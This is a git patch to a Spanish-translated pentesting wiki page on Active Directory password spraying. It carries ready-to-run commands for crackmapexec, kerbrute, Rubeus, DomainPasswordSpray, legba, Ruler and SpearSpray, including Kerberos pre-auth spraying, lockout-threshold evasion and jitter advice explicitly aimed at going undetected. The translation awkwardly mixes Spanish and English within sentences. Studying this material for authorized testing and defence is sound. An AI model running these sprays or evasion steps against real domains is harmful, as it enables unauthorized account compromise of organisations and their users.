From 6df0ac4483156fe042f1fcca610a822edef19e80 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 26 Aug 2025 18:09:49 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/active-directory-methodology/pass --- .../password-spraying.md | 96 ++++++++++++++++--- 1 file changed, 83 insertions(+), 13 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index ca279e297..a29ab9f5d 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -Una vez que hayas encontrado varios **nombres de usuario válidos**, puedes probar las **contraseñas más comunes** (ten en cuenta la política de contraseñas del entorno) con cada uno de los usuarios descubiertos.\ -Por **defecto**, la **longitud mínima** de la **contraseña** es **7**. +Una vez que hayas encontrado varios **valid usernames** puedes probar las **common passwords** (ten en cuenta la password policy del entorno) con cada uno de los usuarios descubiertos.\ +Por **default** la **minimum** **password** **length** es **7**. -Las listas de nombres de usuario comunes también podrían ser útiles: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +Las listas de common usernames también pueden ser útiles: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -Ten en cuenta que **podrías bloquear algunas cuentas si intentas varias contraseñas incorrectas** (por defecto más de 10). +Ten en cuenta que **could lockout some accounts if you try several wrong passwords** (por defecto más de 10). -### Obtener la política de contraseñas +### Obtener password policy -Si tienes algunas credenciales de usuario o una shell como usuario de dominio, puedes **obtener la política de contraseñas con**: +Si tienes user credentials o un shell como domain user puedes **get the password policy with**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,7 +31,7 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Explotación desde Linux (o todos) +### Explotación desde Linux (o desde cualquier sistema) - Usando **crackmapexec:** ```bash @@ -51,7 +51,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c ```bash spray.sh -smb ``` -- Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NO RECOMENDADO A VECES NO FUNCIONA +- Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NO RECOMENDADO, A VECES NO FUNCIONA ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt @@ -69,7 +69,7 @@ done ``` #### Desde Windows -- Con la versión de [Rubeus](https://github.com/Zer1t0/Rubeus) con el módulo de fuerza bruta: +- Con [Rubeus](https://github.com/Zer1t0/Rubeus) (versión con el módulo brute): ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,7 +77,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Puede generar usuarios del dominio por defecto y obtendrá la política de contraseñas del dominio y limitará los intentos de acuerdo a ella): +- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Por defecto puede generar usuarios del dominio y obtendrá la política de contraseñas del dominio, limitando los intentos según ésta): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -85,21 +85,86 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` Invoke-SprayEmptyPassword ``` -## Fuerza Bruta +## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` +### Kerberos pre-auth spraying con direccionamiento LDAP y limitación consciente de PSO (SpearSpray) + +El spraying basado en Kerberos pre-auth reduce el ruido frente a intentos de bind SMB/NTLM/LDAP y se alinea mejor con las políticas de bloqueo de AD. SpearSpray combina direccionamiento impulsado por LDAP, un motor de patrones y conocimiento de políticas (política de dominio + PSOs + buffer de badPwdCount) para realizar spraying de forma precisa y segura. También puede etiquetar principals comprometidos en Neo4j para el pathing de BloodHound. + +Ideas clave: +- Descubrimiento de usuarios vía LDAP con paginación y soporte LDAPS, opcionalmente usando filtros LDAP personalizados. +- Filtrado consciente de la política de bloqueo de dominio + PSO para dejar un buffer de intentos configurable (umbral) y evitar bloquear usuarios. +- Validación Kerberos pre-auth usando bindings gssapi rápidos (genera 4768/4771 en DCs en lugar de 4625). +- Generación de contraseñas por patrón, por usuario, usando variables como nombres y valores temporales derivados del pwdLastSet de cada usuario. +- Control de throughput con threads, jitter y max requests por segundo. +- Integración opcional con Neo4j para marcar usuarios comprometidos para BloodHound. + +Uso básico y descubrimiento: +```bash +# List available pattern variables +spearspray -l + +# Basic run (LDAP bind over TCP/389) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local + +# LDAPS (TCP/636) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl +``` +Selección de objetivos y control de patrones: +```bash +# Custom LDAP filter (e.g., target specific OU/attributes) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ +-q "(&(objectCategory=person)(objectClass=user)(department=IT))" + +# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME +``` +Controles de sigilo y seguridad: +```bash +# Control concurrency, add jitter, and cap request rate +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 + +# Leave N attempts in reserve before lockout (default threshold: 2) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2 +``` +Neo4j/BloodHound enriquecimiento: +```bash +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687 +``` +Descripción general del sistema de patrones (patterns.txt): +```text +# Example templates consuming per-user attributes and temporal context +{name}{separator}{year}{suffix} +{month_en}{separator}{short_year}{suffix} +{season_en}{separator}{year}{suffix} +{samaccountname} +{extra}{separator}{year}{suffix} +``` +Available variables include: +- {name}, {samaccountname} +- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Composition helpers and org token: {separator}, {suffix}, {extra} + +Operational notes: +- Prioriza consultar el PDC-emulator con -dc para leer el badPwdCount y la información relacionada con políticas más autorizada. +- Los reinicios de badPwdCount se disparan en el siguiente intento después de la ventana de observación; usa umbrales y temporización para mantenerte seguro. +- Los intentos de pre-auth de Kerberos aparecen como 4768/4771 en la telemetría del DC; usa jitter y rate-limiting para pasar desapercibido. + +> Consejo: El tamaño de página LDAP por defecto de SpearSpray es 200; ajusta con -lps según sea necesario. + ## Outlook Web Access Hay múltiples herramientas para p**assword spraying outlook**. - Con [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) - con [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) -- Con [Ruler](https://github.com/sensepost/ruler) (¡fiable!) +- Con [Ruler](https://github.com/sensepost/ruler) (fiable!) - Con [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) - Con [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -Para usar cualquiera de estas herramientas, necesitas una lista de usuarios y una contraseña / una pequeña lista de contraseñas para spray. +Para usar cualquiera de estas herramientas, necesitas una lista de usuarios y una contraseña / una pequeña lista de contraseñas para password spraying. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 @@ -120,6 +185,11 @@ Para usar cualquiera de estas herramientas, necesitas una lista de usuarios y un ## Referencias +- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray) +- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute) +- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray) +- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound) +- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying) - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)